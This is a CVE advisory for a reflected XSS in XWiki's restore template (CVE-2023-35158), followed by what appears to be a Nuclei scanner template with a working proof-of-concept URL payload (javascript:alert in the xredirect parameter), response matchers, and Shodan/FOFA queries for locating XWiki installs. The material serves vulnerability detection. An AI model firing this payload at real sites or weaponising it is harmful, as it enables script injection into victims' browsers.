XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as: > /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 9.4-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
PoC
id: CVE-2023-35158
info:
name: XWiki - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Users are able to forge an URL with a payload allowing to inject Javascript in the page (XSS). It's possible to exploit the restore template to perform a XSS, e.g. by using URL such as: > /xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain). This vulnerability exists since XWiki 9.4-rc-1. The vulnerability has been patched in XWiki 14.10.5 and 15.1-rc-1.
impact: |
Successful exploitation could allow an attacker to execute malicious scripts in the context of the victim's browser.
remediation: |
Update XWiki to the latest version to mitigate the Reflected XSS vulnerability.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-35158
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2023-35158
cwe-id: CWE-87
epss-score: 0.02048
epss-percentile: 0.80241
cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: xwiki
product: xwiki
shodan-query:
- "XWiki"
- xwiki
- http.html:"data-xwiki-reference"
fofa-query: body="data-xwiki-reference"
tags: cve,cve2023,xwiki,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/xwiki/bin/view/XWiki/Main?xpage=restore&showBatch=true&xredirect=javascript:alert(document.domain)"
matchers:
- type: dsl
dsl:
- 'contains(body, "href=\"javascript:alert(document.domain)\">Cancel</a>")'
- 'contains(header, "text/html")'
- 'status_code == 200'
condition: and
# digest: 490a00463044022062d2b2d60be675370c1862763fe74a77ad1df6de850a2d6813cb0d1d423d477d02204ab19fb48f3f710f40059d450169bdaf44299a10815471cf5802e85357304892:922c64590222798bb761d5b6d8e72950
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